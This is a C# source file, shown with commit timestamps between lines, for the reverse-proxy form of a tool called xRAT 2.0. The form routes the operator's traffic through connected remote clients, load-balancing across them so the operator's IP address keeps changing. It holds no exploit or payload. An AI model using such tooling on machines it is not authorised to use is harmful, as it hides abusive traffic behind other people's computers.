2015-05-10 11:11:27 +00:00
using System ;
2015-05-16 18:39:35 +00:00
using System.Collections.Generic ;
2015-05-10 11:11:27 +00:00
using System.Windows.Forms ;
using xServer.Core ;
using xServer.Core.ReverseProxy ;
namespace xServer.Forms
{
public partial class FrmReverseProxy : Form
{
2015-05-16 18:39:35 +00:00
private readonly Client [ ] clients ;
2015-05-10 17:02:10 +00:00
private ReverseProxyServer SocksServer { get ; set ; }
2015-05-10 11:11:27 +00:00
private delegate void Invoky ( ) ;
2015-05-16 15:41:28 +00:00
private ReverseProxyClient [ ] OpenConnections ;
private Timer RefreshTimer ;
2015-05-10 11:11:27 +00:00
2015-05-16 18:39:35 +00:00
public FrmReverseProxy ( Client [ ] clients )
2015-05-10 11:11:27 +00:00
{
InitializeComponent ( ) ;
2015-05-16 18:39:35 +00:00
this . clients = clients ;
for ( int i = 0 ; i < clients . Length ; i + + )
clients [ i ] . Value . FrmProxy = this ;
2015-05-10 11:11:27 +00:00
}
private void FrmReverseProxy_Load ( object sender , EventArgs e )
{
2015-05-16 18:39:35 +00:00
if ( clients . Length > 1 )
{
this . Text = string . Format ( "xRAT 2.0 - Reverse Proxy [Load-Balancer is active]" ) ;
lblLoadBalance . Text = "The Load Balancer is active, " + clients . Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works" ;
}
else if ( clients . Length = = 1 )
{
this . Text = string . Format ( "xRAT 2.0 - Reverse Proxy [{0}:{1}]" , clients [ 0 ] . EndPoint . Address . ToString ( ) , clients [ 0 ] . EndPoint . Port . ToString ( ) ) ;
lblLoadBalance . Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer" ;
}
2015-05-10 11:11:27 +00:00
}
private void btnStart_Click ( object sender , EventArgs e )
{
try
{
2015-05-10 17:02:10 +00:00
SocksServer = new ReverseProxyServer ( ) ;
SocksServer . OnConnectionEstablished + = socksServer_onConnectionEstablished ;
SocksServer . OnUpdateConnection + = socksServer_onUpdateConnection ;
2015-05-16 18:39:35 +00:00
SocksServer . StartServer ( clients , "0.0.0.0" , ( int ) nudServerPort . Value ) ;
2015-05-10 17:02:10 +00:00
btnStart . Enabled = false ;
btnStop . Enabled = true ;
2015-05-16 15:41:28 +00:00
RefreshTimer = new Timer ( ) ;
RefreshTimer . Tick + = RefreshTimer_Tick ;
RefreshTimer . Interval = 100 ;
RefreshTimer . Start ( ) ;
2015-05-10 11:11:27 +00:00
}
catch ( Exception ex )
{
MessageBox . Show ( ex . Message ) ;
2015-05-10 17:02:10 +00:00
btnStop_Click ( sender , null ) ;
2015-05-10 11:11:27 +00:00
}
}
2015-05-16 15:41:28 +00:00
void RefreshTimer_Tick ( object sender , EventArgs e )
2015-05-10 11:11:27 +00:00
{
2015-05-16 15:41:28 +00:00
try
2015-05-10 11:11:27 +00:00
{
2015-05-16 15:41:28 +00:00
lock ( SocksServer )
2015-05-10 11:11:27 +00:00
{
2015-05-16 15:41:28 +00:00
this . OpenConnections = SocksServer . OpenConnections ;
LvConnections . VirtualListSize = this . OpenConnections . Length ;
LvConnections . Refresh ( ) ;
}
}
catch { }
}
2015-05-10 13:34:49 +00:00
2015-05-16 15:41:28 +00:00
void socksServer_onUpdateConnection ( ReverseProxyClient proxyClient )
{
2015-05-10 11:11:27 +00:00
2015-05-16 15:41:28 +00:00
}
2015-05-10 15:39:20 +00:00
2015-05-16 15:41:28 +00:00
void socksServer_onConnectionEstablished ( ReverseProxyClient proxyClient )
{
2015-05-10 15:39:20 +00:00
2015-05-10 11:11:27 +00:00
}
2015-05-10 17:02:10 +00:00
private string GetSizeStr ( long size )
2015-05-10 13:34:49 +00:00
{
2015-05-10 17:02:10 +00:00
if ( size > ( 1024 * 1024 * 1024 ) )
return ( size / ( 1024 * 1024 * 1024 ) ) + "GB" ;
2015-05-10 13:34:49 +00:00
2015-05-10 17:02:10 +00:00
if ( size > ( 1024 * 1024 ) )
return ( size / ( 1024 * 1024 ) ) + "MB" ;
2015-05-10 13:34:49 +00:00
2015-05-10 17:02:10 +00:00
if ( size > 1024 )
return ( size / 1024 ) + "KB" ;
2015-05-10 13:34:49 +00:00
2015-05-10 17:02:10 +00:00
return size + "B" ;
2015-05-10 13:34:49 +00:00
}
2015-05-10 11:11:27 +00:00
private void btnStop_Click ( object sender , EventArgs e )
{
2015-05-17 10:11:40 +00:00
if ( RefreshTimer ! = null )
RefreshTimer . Stop ( ) ;
2015-05-10 17:02:10 +00:00
btnStart . Enabled = true ;
btnStop . Enabled = false ;
if ( SocksServer ! = null )
SocksServer . Stop ( ) ;
2015-05-10 11:11:27 +00:00
try
{
2015-05-10 17:02:10 +00:00
SocksServer . OnConnectionEstablished - = socksServer_onConnectionEstablished ;
SocksServer . OnUpdateConnection - = socksServer_onUpdateConnection ;
2015-05-10 11:11:27 +00:00
}
catch { }
}
private void FrmReverseProxy_FormClosing ( object sender , FormClosingEventArgs e )
{
//Stop the proxy server if still active
2015-05-10 17:02:10 +00:00
btnStop_Click ( sender , null ) ;
2015-05-10 17:42:17 +00:00
2015-05-16 18:39:35 +00:00
for ( int i = 0 ; i < clients . Length ; i + + )
{
if ( clients [ i ] . Value ! = null )
clients [ i ] . Value . FrmProxy = null ;
}
2015-05-10 17:02:10 +00:00
}
private void nudServerPort_ValueChanged ( object sender , EventArgs e )
{
2015-05-16 15:41:28 +00:00
lblProxyInfo . Text = string . Format ( "Connect to this SOCKS5/HTTPS Proxy: 127.0.0.1:{0} (no user/pass)" , nudServerPort . Value ) ;
}
private void LvConnections_RetrieveVirtualItem ( object sender , RetrieveVirtualItemEventArgs e )
{
lock ( SocksServer )
{
if ( e . ItemIndex < OpenConnections . Length )
{
ReverseProxyClient Connection = OpenConnections [ e . ItemIndex ] ;
e . Item = new ListViewItem ( new string [ ]
{
2015-05-16 18:39:35 +00:00
Connection . Client . EndPoint . ToString ( ) ,
Connection . Client . Value . Country ,
Connection . TargetServer + ( Connection . HostName . Length > 0 ? " (" + Connection . HostName + ")" : "" ) ,
2015-05-16 15:41:28 +00:00
Connection . TargetPort . ToString ( ) ,
GetSizeStr ( Connection . LengthReceived ) ,
GetSizeStr ( Connection . LengthSended ) ,
Connection . Type . ToString ( )
} ) { Tag = Connection } ;
}
}
}
private void killConnectionToolStripMenuItem_Click ( object sender , EventArgs e )
{
lock ( SocksServer )
{
if ( LvConnections . SelectedIndices . Count > 0 )
{
//copy the list, it could happen the suddenly the items de-select
int [ ] items = new int [ LvConnections . SelectedIndices . Count ] ;
LvConnections . SelectedIndices . CopyTo ( items , 0 ) ;
foreach ( int index in items )
{
if ( index < OpenConnections . Length )
{
ReverseProxyClient Connection = OpenConnections [ index ] ;
if ( Connection ! = null )
{
Connection . Disconnect ( ) ;
}
}
}
}
}
2015-05-10 11:11:27 +00:00
}
}
2015-05-17 10:11:40 +00:00
}